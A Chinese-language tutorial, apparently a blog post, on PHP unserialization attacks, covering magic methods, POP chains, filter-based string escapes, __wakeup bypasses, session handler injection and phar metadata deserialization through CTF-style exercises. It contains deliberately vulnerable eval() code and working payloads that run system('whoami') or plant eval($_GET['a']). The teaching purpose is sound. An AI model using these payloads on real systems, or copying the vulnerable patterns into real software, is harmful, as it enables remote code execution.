环境:小皮面板,phpstorm2021.2.2
①数组的序列化
<?php
$test = array('xiaowang','ttt',NULL,'laowang');
echo serialize($test);
?>
#result=a:4:{i:0;s:8:"xiaowang";i:1;s:3:"ttt";i:2;N;i:3;s:7:"laowang";}
开始的a代表Array
表示是一个数组,4代表里面有四个元素
{}
中就是存储的数据,格式为key;value
,关于key和value的格式不同类型对应不同格式,代码中key是int类型格式为i:值
,value是字符串格式为s:value长度:value内容
例如$test[2]
即使内容是NULL,在序列化中也会有一席之地,用N表示
②对象的序列化
<?php
class test{
public $bl1='test';
private $bl2=123;
protected $bl3=TRUE;
public function echo(){
echo 'hello world';
}
}
$a = new test();
echo serialize($a);
?>
#result=O:4:"test":3:{s:3:"bl1";s:4:"test";s:3:"bl2";i:123;s:3:"bl3";b:1;}
开始的O表示为Object
表示这是一个对象,后面紧接着是类名的长度和类名,注意不是对象名(我们可以看到序列化内容和对象名没有任何关系),这里的类名是反序列化时确定类的标识
之后的3代表类中值是数量,{}
表示里面的值,注意序列化时不会序列化类中的方法
在定义类时,变量$bl1
、$bl2
和$bl3
分别用了不同的权限修饰符
public
的变量名无变化
private
变量名之前将会用\x00类名\x00
来标识这是private
权限,因为\x00
是空特殊字符,所以phpstorm会显示异常
protected
会用\x00*\x00
来标识权限
所以当类中有保护或者私有权限时,传递序列化内容时要用url编码也就是%00
来保证空字符的存在。直接复制会自动忽略空字符,因为一个空字符也占有一个长度,这样会导致变量名和长度不匹配导致反序列化失败
对象之间的嵌套
<?php
class test{
var $pub;
}
class test2{
var $test="helloworld";
}
$a = new test();
$a->pub=new test2();
echo serialize($a);
?>
#result=O:4:"test":1:{s:3:"pub";O:5:"test2":1:{s:4:"test";s:10:"helloworld";}}
很好理解,相当于把test2
的序列化的结果直接嵌套到pub
中
<?php
class test{
var $a="abc";
var $b="123";
}
$a=new test();
$ser=serialize($a);
echo "序列化的内容:".$ser.PHP_EOL;
$unser=unserialize($ser);
var_dump($unser);
?>
#result:
O:4:"test":2:{s:1:"a";s:3:"abc";s:1:"b";s:3:"123";}
object(test)#2 (2) {
["a"]=>
string(3) "abc"
["b"]=>
string(3) "123"
}
反序列化其实就是利用序列化的结果,重新构建出序列化之前的状态
反序列化时,不论你是私有还是公有,生成的对象都和序列化里的值相同
小细节
我们手动修改序列化的内容,重新修改$ser
的值$ser='O:4:"test":1:{s:1:"a";s:3:"abc";}';
,我们将$b
的内容删除,在进行反序列化,发现也能成功
反序列化时会自动检查,如果与类中的内容不匹配,会自动用类中原有的值来补全
为什么会有这种特性呢,我认为反序列化主要是用在两台电脑之前进行数据传输,两台机器的类难免有不同的地方,所以php用这种特性来容错也符合常理
反序列化利用小例子
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "excuse me??";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["a"];
$b = unserialize($get);
$b->displayVar() ;
?>
$b
会接收序列化的内容进行反序列化,并执行displayVar()
,displayVar()
的$a
反序列化可控制,造代码执行
payload:
<?php
class test{
public $a = 'system("whoami");';
}
echo serialize(new test);
?>
当执行不同的操作,如果类中有魔术方法会执行对应的魔术方法,学完为POP链打基础
__construct //新建对象会调用,是一个构造方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
①construct与destruct
__construct()主要用来新建变量时赋值
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数" ;
}
}
$test = new User("xiaoming");
echo "\n";
var_dump($test);
?>
__destruct()当对象销毁时触发
<?php
class User {
public $p=123;
public function __destruct()
{
echo "触发了__destruct"."\n" ;
}
}
$test = new User();
$ser = serialize($test);
$test ->p=456;
unserialize($ser);
?>
那什么情况下才算销毁呢,实际上只有对象彻底执行完毕的时候才算销毁,我们通过下面这四个例子来对比
这四种情况下__destruct()
仅仅执行了一次
第一次因为new完对象后没有任何操作所以销毁执行了__destruct()
第二次new完对象,但是对这个对象的操作还没有结束于是执行完序列化才销毁
以此类推,所以__destruct()
方法是在对象最后一次操作完毕才会执行
但是加上反序列化会发现执行了两次,因为反序列化是通过序列化字符串重新生成了一个对象时触发,和原来的test
对象已经没关系了
这里有个很基础的例题可以做一下
<?php
class User {
var $cmd = "echo 'hello!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["a"];
unserialize($ser);
?>
②sleep与wakeup
sleep
<?php
class User {
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
因为序列化之受到了sleep
的控制,只返回了两个变量
wakeup
<?php
class User {
public $username;
private $password;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
序列化传入的是username=a password=b
但是反序列化之前执行了wakeup,于是反序列之后password
也变成了a
③toString与invoke
toString
<?php
class User {
var $xiaoai = "hello world";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "\n";
var_dump($test);
echo "\n";
echo $test;
?>
echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发
关于tostring的触发方式还有很多,例如和字符串进行拼接和比较,格式化输出,数组中有字符串等都可以被调用
invoke
<?php
class User {
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test();
?>
$test
是一个对象,被当成函数执行会触发
④由于错误而调用的魔术方法
call
<?php
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0],$arg2[1]";
}
}
$test = new User() ;
$test -> callxxx('a','b');
?>
当调用了不存在的方法会调用,第一个参数接收方法名,第二个参数接收传递的参数
callstatic
<?php
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>
#result=callxxx,a
当调用不存在的静态方法会调用这个方法
get
<?php
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>
当调用的成员属性不存在,会调用这个方法
set
<?php
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>
给不存在的成员属性赋值调用
isset
<?php
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>
对不可访问属性使用isset
或empty
时调用
unset
<?php
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
对不可访问属性使用unset调用
clone
<?php
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
当时用clone拷贝对象时,会自动调用定义的魔术方法
经过上面基础知识的学习,我们就可以来审计POP链了
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
<?php
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
思路分析:首先确定目的和入口,目的是要调用eval()
方法执行命令,所以要想办法调用class evil
中的action()
方法。我们反序列化第一个调用的魔术方法一定是__destruct()
,所以先从class index
入手,发现$this->test->action();
这样我们只要让test
变量存储evil
对象即可进行代码执行
由于test
是私有类型,不能直接赋值,我们将__construct()
中的new normal()
改为new evil()
,将要执行的命令也就是class evil
中的$test2
提前赋值,这样我们就可以根据这个思路来构造payload
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
}
class evil {
var $test2='system("whoami");';
public function action(){
eval($this->test2);
}
}
$a=new index();
echo urlencode(serialize($a));
?>
因为有私有属性,所以要记得url编码
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
public $test;
public function __toString(){
echo $this->test->flag;
}
}
class flag{
public function __get($arg1)
{
echo 'flag{flag is here}';
}
}
$b = $_GET['sec'];
unserialize($b);
?>
思路分析:我们目的要输出flag{flag is here}
,入口点这次虽然没有__destruct()
,但是有__wakeup()
当反序列化结束后会执行,我们发现其中只有一个echo
,想想输出会执行的魔术方法加上题目中的__toString()
方法我们就可以想到source
存储的是sec
的对象,之后只剩一个get
魔术方法,我们让$test
存储flag
对象,因为没有flag
这个变量所以也就调用get
方法输出flag
<?php
class fast {
public $source;
}
class sec {
public $test;
}
class flag{
}
$fast1=new fast();
$sec1=new sec();
$sec1->test=new flag();
$fast1->source=$sec1;
echo serialize($fast1);
?>
有了上面的练习,我们来做一道POP链的例题
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
//flag.php
$flag = 'ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}';
思路分析:在class Show
发现了__wakeup()
,所以这个类是入口点,在class Modifier
的append
方法发现了输出了flag,所以这个类是调用的终点,include
的内容应是flag.php
,我们看入口点echo $this->source;
这种类似的写法可能有两种情况,一种是调用的source
不存在导致触发__get
,第二种是echo
了一个对象触发__toString
,很显然符合第二种情况,如果不是$this
第一种情况也可能存在(我们要对命令可能触发的魔术方法敏感)。我们发现class Test
类return $function();
而$function
我们是通过$p
可控的,如果将$p
赋值一个Modifier
对象,刚好可以调用Modifier
中的invoke
方法,而$var
也可控,这样就可以读出flag。大致思路捋完了,我们发现Show
类还有一个tostring
可以利用,于是我们将$source
赋值给show
对象本身,$str
赋值一个Test
对象,这样当echo $this->source
会执行自己的tostring
,但$str
寻找source
寻找不到时,就会调用Test
的__get
方法,这样一条POP链的完整思路已经出来了
payload
<?php
class Modifier {
private $var;
public function __construct(){
$this->var="flag.php";
}
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$show1=new Show();
$show1->source=$show1;
$test1=new Test();
$modifier=new Modifier();
$test1->p=$modifier;
$show1->str=$test1;
echo urlencode(serialize($show1));
?>
可以发现给$b
反序列化的值不太正常,但是却正常执行了这是因为如果;}
不在字符串的范围之内,那么它就相当于结束字符,后面无论在输入什么值反序列化时都不会被去解析,于是解析到interesting
就不再解析了
当我们把interesting
前面的字符长度从11改成39,发现还是解析成功了,只不过把后面的序列化内容也当做字符串存到$b
中了,所以说字符长度的检测原理其实是从后面第一个引号开始读取,读取到设置的长度会结束,如果读取完之后后面的格式还能正确解析,那么就可以进行反序列化,如果格式不正确不能解析就返回fasle。
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
大体分析一下代码,将传来的值保存到test
对象中,之后把对象序列化,把序列化的内容经过filer
函数过滤一下,之后把过滤完的值在进行反序列化,反序列化生成的对象如果pass=='escaping'
那么就读取flag,我们发现我们是没有控制$pass
的能力的,于是我们就要利用字符串增多的BUG来进行构造
我们传入4个php字符长度12,当处理完之后,长度还是12,于是只能解析到第三个hack,每多一个php后边就会少解析一个字符,少解析的字符就会被当做功能字符来解析,最前面的";
也需要带上,因为当hack读取完之后当做功能性字符进行闭合,所以hack字符的长度正好填补了缺失字符的长度
于是我们修改pass的值为escaping,统计了一下字符长度为29,于是需要29个php,
于是构造出了我们的payload
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
序列化
O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}
处理之后:
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
可以看到将我们传来的字符串替换成长度更小的字符串,这时替换之后序列化中记录的数量将于实际数量,也就是多一个php字符就会多吃后面一个字符
于是我们需要给pass传一个设置vip为true的序列化参数,之后把pass吃掉就能给vip赋值
但是我们发现前面规定着元素数量,如果把pass吃掉了只剩下user和vip那么就会因为数量不匹配导致反序列化失败。于是我们在pass中还要再传一个pass
我们要把给pass和vip赋值的那段值传给pass
传入之后只要把蓝色的那部分给吃掉即可,后边红框是我们传入的值
payload
$user="phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";
$pass='";s:4:"pass";s:3:"123";s:3:"vip";b:1;}';
版本要求
PHP5 < 5.6.25
PHP7 < 7.0.10
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
<?php
class test{
public $a;
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a."\n";
}
}
var_dump(unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}'));
根据结果发现他只是可以绕过wakeup,执行destruct获取序列化中的值,但是生成不了对象
并且就算传递了一个类中没有的成员,也是可以获取的到
<?php
class secret{
var $file='index.php';public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
?>
思路分析:要执行destruct输出flag,但是wakeup会使我们包含不了flag文件,于是需要绕过,下方还有一个正则需要绕过
首先生成一个$file=flag.php
的序列化O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
将其重新修改即可绕过O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
,由于+可能被转移,所以对其进行url编码即可
引用其实就相当于c语言的指针,通过取地址符将a的地址给b,让b指向和a相同的内存空间,共享同一块内存,所有存储的内容是相同的,一方改变另一方内容也改变
例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
例题分析:接收一个序列化的值,将其中的星号替换为\后生成新对象,之后给secret赋值星号,要求enter和他的值相等,所以只需要让enter的内存空间和secret相等
payload
<?php
class just4fun {
var $enter;
var $secret;
}
$test=new just4fun();
$test->enter=&$test->secret;
echo serialize($test);
?>
表示字符类型的s大写时,值的内容可以被当做16进制解析
这里用了y4师傅的例子
<?php
class test{
public $username;
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);
在php7.1+版本虽然有私有和保护属性,但是传递public属性同样可以赋值
当用户第一次访问网站时Seesion_start()会创建一个Session ID并且保存在浏览器的cookie中并且服务器也会产生相同名字的Session文件,直到下次关闭在打开浏览器,这个Session是不变的,当用户再次携带Session访问网站时,服务器会从硬盘寻找这个文件来读出用户信息
在php中,Session是存储在文件中
php.ini中一些session配置
session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
通过php引擎存储的session格式:键名 + 竖线 + 经过 serialize() 函数序列处理的值
<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>
通过序列化存储的session格式:经过 serialize() 函数反序列处理的数组(php>=5.5.4)
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
通过php_binary存储的Session格式:键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
由于是ASCII所以无法直接显示,放到010editor查看发现长度可以对应的上
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
session_start();会自动查找存在的session并进行反序列化
由于我们输入的引擎和反序列化的引擎不同导致反序列化
php引擎当遭遇|时会把后边当做序列化解析,于是我们构造好payload再加一个竖线即可
完整payload:|O:1:"D":1:{s:1:"a";s:17:"system("whoami");";}
https://cloud.tencent.com/developer/article/2035863
这位师傅写的比较详细可以直接看他
可以认为Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
默认开启版本 PHP version >= 5.3
phar文件结构
1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名
manifest的其中信息以序列化存储,当我们使用Phar协议解析phar文件时,会自动对manifest的文件进行反序列化
我们在生成phar文件时,需要将php.ini中的phar.readonly设置为Off
以下是可以调用phar伪协议的函数
phar反序列化因为要上传一个phar文件一般要配合文件上传使用,并且生成出来的phar文件后缀可以随意修改,但是都可以被phar伪协议解析
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
需要在$filename
调用phar伪协议,构造反序列化很简单,直接看生成phar的payload
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
将$output
设置为eval($_GET["a"])
并且执行,使用phar协议调用即可
感兴趣的师傅还可以做做这道题
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
更详细的了解可以看这篇文章:https://tttang.com/archive/1732/
当找不到魔术方法时,php有些原生类中内置一些魔术方法,如果我们巧妙构造可控参数,触发并利用其内置魔术方法
常见的原生类
1、Error
2、Exception
3、SoapClient
4、DirectoryIterator
5、SimpleXMLElement
网上有很多详细的文章,这篇文章写的比较详细:
https://blog.csdn.net/qq_53287512/article/details/123879744?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167306469116800188584328%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=167306469116800188584328&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-123879744-null-null.142^v70^control,201^v4^add_ask&utm_term=PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8E%9F%E7%94%9F%E7%B1%BB